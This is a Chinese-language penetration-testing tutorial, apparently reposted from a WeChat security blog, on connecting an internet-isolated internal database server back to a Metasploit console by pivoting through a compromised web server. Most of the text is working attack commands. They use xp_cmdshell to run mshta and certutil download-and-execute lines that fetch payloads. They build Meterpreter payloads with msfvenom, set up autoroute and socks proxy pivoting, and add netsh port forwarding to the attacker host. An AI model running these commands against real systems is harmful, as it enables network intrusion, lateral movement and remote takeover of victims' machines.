|
我们在做内网渗透时常会遇到内网的某些主机不通外网的情况,遇到这种场景时应该如何上线呢?网上看到较多的都是断网机上线CS的姿势,很少看到有人写上线MSF的姿势。
这篇文章笔者就来分享几种断网机上线至MSF的姿势,仅为大家提供思路,最终还得根据目标实际情况选择合适方法,关于行为、特征的拦截查杀以及绕过不在本节讨论范围。
0x01 测试环境
攻击机(Kali):192.168.56.101
受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡
受害机2(Data):192.168.186.4 - 断网机
0x02 模拟实战测试
当前数据库用户为SA,可直接利用xp_cmdshell组件执行命令,但这是个站库分离环境,而且这台内网数据库服务器不允许连接外网,所以导致无法直接上线至MSF。
EXEC master..xp_cmdshell 'ping baidu.com'
先不管这台断网数据库服务器,直接利用hta_server模块或白名单等方式得到那台可以连接外网的Web服务器会话,然后再想办法上线那台断网的数据库服务器。
use exploit/windows/misc/hta_server
set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.56.101
set lport 443
exploit
0x03 虚拟路由 + hta_server
run get_local_subnets
run autoroute -s 192.168.186.0/255.255.255.0
run autoroute -d -s 192.168.186.0
bg
回到hta_server模块重新配置下相关选项,将LHOST、SRVHOST
设置为当前已控出网主机的内网IP,得注意下LPORT、SRVPORT
端口不要与出网主机已使用端口冲突了。
set lhost 192.168.186.3
set srvhost 192.168.186.3
执行exploit后看到Job 2是通过会话1在当前已控出网主机192.168.186.3
上执行监听的,所以能够与断网数据库服务器192.168.186.4
进行通讯,这里可以看到已经成功上线了。
流量走向:
-
192.168.186.4->192.168.186.3:443->192.168.56.102->C2
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta'
注意事项:
添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0
则生成URL的IP地址还是VPS的,所以在不出网主机上无法访问和执行,最终导致无法上线。
思路拓展:
bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多,都要用到MSF虚拟路由,只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事,不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:ProgramDatamsf.exe'
0x04 Socks代理 + Proxychains
run post/multi/manage/autoroute
bg
use auxiliary/server/socks4a
exploit
Socks4代理开好后找到/etc/proxychains.conf配置文件,在底部填入127.0.0.1和1080端口,然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功?
proxychains curl http://192.168.186.4
proxychains nc -zv 192.168.186.4 1433
确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件,通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。
msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe
另起一个命令终端用proxychains代理工具来启动msfconsole,配置好handler监听模块bind_tcp相关选项执行监听,在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。
流量走向:
-
192.168.186.4:443->192.168.186.3->Socks4->192.168.56.101
proxychains msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.186.4
set lport 443
exploit
EXEC master..xp_cmdshell 'C:ProgramDatabind.exe'
0x05 netsh interface portproxy
添加端口转发
netsh interface portproxy add v4tov4 listenport=443 connectaddress=192.168.56.101 connectport=4444
删除端口转发
netsh interface portproxy delete v4tov4 listenport=443
显示所有端口转发
netsh interface portproxy show all
微软官方文档:
https://docs.microsoft.com/zh-cn/windows-server/networking/technologies/netsh/netsh-interface-portproxy
执行以上命令有权限限制,需要≥Administrators才能执行,低权限用户执行时会出现下图提示,中文意思是:请求的操作需要提升(以管理员身份运行)。
使用msfvenom生成一个reverse_tcp_rc4载荷文件,同样通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。
-
LHOST
:出网主机186段内网IP地址; -
LPORT
:出网主机需转发的443端口;
-
RC4PASSWORD
:验证密码;
msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.186.3 LPORT=443 RC4PASSWORD=3had0w -f exe > /var/www/html/fuck.exe
handler监听模块这里必须也要用reverse_tcp_rc4,配置好相关选项后执行监听,在中国菜刀中利用xp_cmdshell组件执行fuck.exe文件后即可上线。
-
lhost
:攻击机IP(192.168.56.101); -
lport
:转发过来的4444端口,其它端口无效;
-
rc4password
:填验证密码,
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp_rc4
set lhost 192.168.56.101
set lport 4444
set rc4password 3had0w
exploit
EXEC master..xp_cmdshell 'C:ProgramDatafuck.exe'
为什么最终建立连接时显示的是:192.168.56.101:4444 -> 192.168.56.102:50178???因为我们在Web服务器中做了端口转发,看下图这两台主机的网络连接状态就应该知道咋回事了。
流量走向:
-
192.168.186.4->192.168.186.3:443->192.168.56.102->C2
0x06 文末小结
不出网主机->出网主机->VPS
,大家可以根据文章中提供的方法自行拓展新姿势,只要你姿势足够骚,就没有打不进去的,0.0。推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号(潇湘信安):利用MSF上线断网主机的思路分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论